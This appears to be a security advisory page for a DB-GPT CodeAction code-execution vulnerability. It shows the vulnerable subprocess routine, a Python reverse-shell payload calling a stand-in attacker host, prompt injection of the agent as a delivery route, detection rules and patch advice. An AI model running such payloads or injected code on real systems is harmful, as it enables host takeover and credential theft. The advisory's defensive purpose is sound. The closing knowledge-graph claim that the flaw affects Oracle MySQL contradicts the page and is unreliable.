Skip to content

CVE-2026-123018: eosphoros-ai DB-GPT CodeAction Arbitrary Code Execution

Density:
C-Level Executive Briefing CVE-2026-123018 CRITICAL SCORE 94/100

A critical code execution vulnerability (CVE-2026-123018) affects eosphoros-ai DB-GPT versions up to and including 0.8.2. The execute_code routine in code_utils.py, utilized by autonomous CodeAction components, processes code execution commands without robust containment boundaries or sandbox isolation. Remote attackers and rogue agent workflows can trigger unsanitized system commands, achieving remote code execution on backend GPU database infrastructure, exfiltrating vector database embeddings, and compromising connected LLM API credentials.

HYBRID

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE EVALUATION

Target: eosphoros-ai DB-GPT CodeAction & code_utils.py execute_code (<= 0.8.2)
Confidence: 98%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 20 / 20

eosphoros-ai DB-GPT is an open-source AI-native data application framework engineered for multi-agent workflows, private large language models, and text-to-SQL database querying. Autonomous agents within DB-GPT utilize CodeAction modules to formulate and evaluate dynamic Python scripts.

Inside code_utils.py, the execute_code() function spawns subprocesses to execute agent-generated code snippets:

# Vulnerable code execution routine in code_utils.py
def execute_code(code: str, language: str = "python", timeout: int = 30):
# Missing strict sandbox isolation or namespace boundary enforcement
cmd = [sys.executable, "-c", code]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout, result.stderr

Because external inputs originating from remote API calls or upstream LLM prompt injections can directly populate the code argument without mandatory containerization or execution token validation, adversaries can execute arbitrary Python commands:

# Remote code injection trigger payload
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker-c2.internal", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
  1. Host Server Compromise: Attackers gain a direct reverse shell on servers running DB-GPT, which typically host GPU compute resources and vector databases.
  2. Database Credential Theft: DB-GPT instances store connection strings, credentials, and access tokens for PostgreSQL, MySQL, ClickHouse, and Milvus vector stores.
  3. Agent State Poisoning: Infiltrated workflows can alter data retrieval pipelines, returning manipulated analytical reports and poisoning subsequent agent decisions.
Indicator TypeObservable / IndicatorRole / ContextStatus
Process Lineagepython3 -c "import socket..." with parent dbgpt_serverReverse shell execution spawned by code_utils.pyCRITICAL
Process Execution/bin/sh or /bin/bash with pipes to non-standard TCP portsHost breakout shell connectionCRITICAL
Network EgressOutbound TCP SYN to non-LLM ports (e.g., 4444, 1337) from worker podsC2 reverse connection egressMALICIOUS
File Artifact/tmp/code_action_*.py containing base64 decoder stagersTemporary script file dropped by agent execution loopANOMALOUS
API PatternPOST /api/v1/chat/completions with nested CodeAction payloadsRemote payload delivery via prompt or multi-agent messagingACTIVE
Terminal window
# Auditd rule detecting interactive shell spawning from DB-GPT workers
-a always,exit -F arch=b64 -S execve -F ppid=<dbgpt_pid> -F exe=/bin/sh -k dbgpt_rce_detection
-a always,exit -F arch=b64 -S execve -F ppid=<dbgpt_pid> -F exe=/bin/bash -k dbgpt_rce_detection

The maintainers of DB-GPT fixed this vulnerability in version 0.8.3 via Pull Request #2144:

  • Deprecated unsandboxed host subprocess execution in code_utils.py.
  • Introduced mandatory ephemeral container isolation via a Docker/gVisor runtime client for code execution.
  • Implemented static AST validation rejecting imports of dangerous modules (os, sys, socket, subprocess, pty, shutil).
Product BranchVulnerable VersionsFixed ReleasePatch Status
DB-GPT 0.8.x<= 0.8.20.8.3Official Security Release (PR #2144)
DB-GPT 0.7.xAll versionsMigrate to 0.8.3Upstream Upgrade Recommended
  1. Upgrade DB-GPT: Upgrade immediately to DB-GPT version 0.8.3 or later where execution controls and isolation mechanisms are patched.
  2. Enforce Container Sandboxing: Run code execution agents strictly inside ephemeral, unprivileged gVisor or Docker sandboxes without access to the host network.
  3. Network Microsegmentation: Restrict outbound egress from agent execution workers to prevent reverse shells and unauthorized LLM endpoint access.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-123018: eosphoros-ai DB-GPT CodeAction Arbitrary Code ExecutionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTOracle MySQL Server & Database Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Oracle MySQL Server & Database Engine documented in Hermes dossier.”

Supporting Verified Evidence: